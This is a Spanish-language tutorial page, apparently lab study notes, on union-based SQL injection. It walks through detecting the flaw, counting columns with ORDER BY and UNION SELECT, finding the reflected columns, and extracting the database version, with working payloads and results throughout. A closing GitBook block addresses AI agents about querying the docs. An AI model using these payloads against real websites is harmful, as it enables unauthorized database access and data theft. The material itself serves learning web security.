> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/hacking-web/sql/union-injection.md).

# Union Injection

Aquí aplicas todo lo del `UNION` a una inyección web real. El ejemplo: un buscador con un parámetro vulnerable.

```
http://SERVER_IP:PORT/search.php?port_code=cn
```

**Detectar la vulnerabilidad**

Inyectas una comilla simple y obtienes un error SQL:

```
?port_code=cn'
```

El error confirma que es vulnerable, y como los resultados se ven en pantalla, es un escenario ideal para **Union-based injection**.

**Paso 1 — Detectar el número de columnas**

Antes de explotar, necesitas saber **cuántas columnas** selecciona la query original. Hay dos métodos:

**Método A — `ORDER BY`**\
Ordenas por número de columna creciente hasta que falle. La última que funcionó = total de columnas.

```sql
' order by 1-- -    ← OK
' order by 2-- -    ← OK
' order by 3-- -    ← OK
' order by 4-- -    ← OK
' order by 5-- -    ← ERROR: Unknown column '5'
```

→ Si falla en 5, la tabla tiene **4 columnas**. (Este método siempre da resultados hasta que rompe.)

**Método B — `UNION SELECT`**\
Pruebas con distinto número de columnas hasta que **deja** de dar error:

```sql
cn' UNION select 1,2,3-- -      ← ERROR (no coinciden)
cn' UNION select 1,2,3,4-- -    ← OK → 4 columnas
```

(Este método es al revés: siempre da error hasta que aciertas.) Cualquiera de los dos sirve.

**Paso 2 — Ubicación de la inyección (qué columna se imprime)**

La query puede devolver varias columnas, pero la web **no siempre las muestra todas**. Si pones tu payload en una columna que no se imprime, no ves nada.

Por eso rellenas con números: te dicen **qué posiciones se reflejan** en pantalla. En el ejemplo, `UNION select 1,2,3,4` mostró solo `2, 3, 4` — la columna 1 no se imprime (suele ser un `id` que el usuario no ve).

📌 Conclusión: las columnas 2, 3 y 4 son las "imprimibles". Ahí colocas tu inyección. **No la pongas en la columna 1** o su salida no aparecerá.

**Paso 3 — Probar que sacas datos reales**

Reemplazas uno de los números (en una columna imprimible) por una query real, como `@@version`, para confirmar que extraes datos de verdad y no solo números:

```sql
cn' UNION select 1,@@version,3,4-- -
```

Resultado en pantalla: `10.3.22-MariaDB-1ubuntu1` en la posición 2. Confirmado: ya puedes formar payloads que impriman lo que extraigas.

En la siguiente sección: enumerar la base y sacar datos de otras tablas y bases.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/hacking-web/sql/union-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
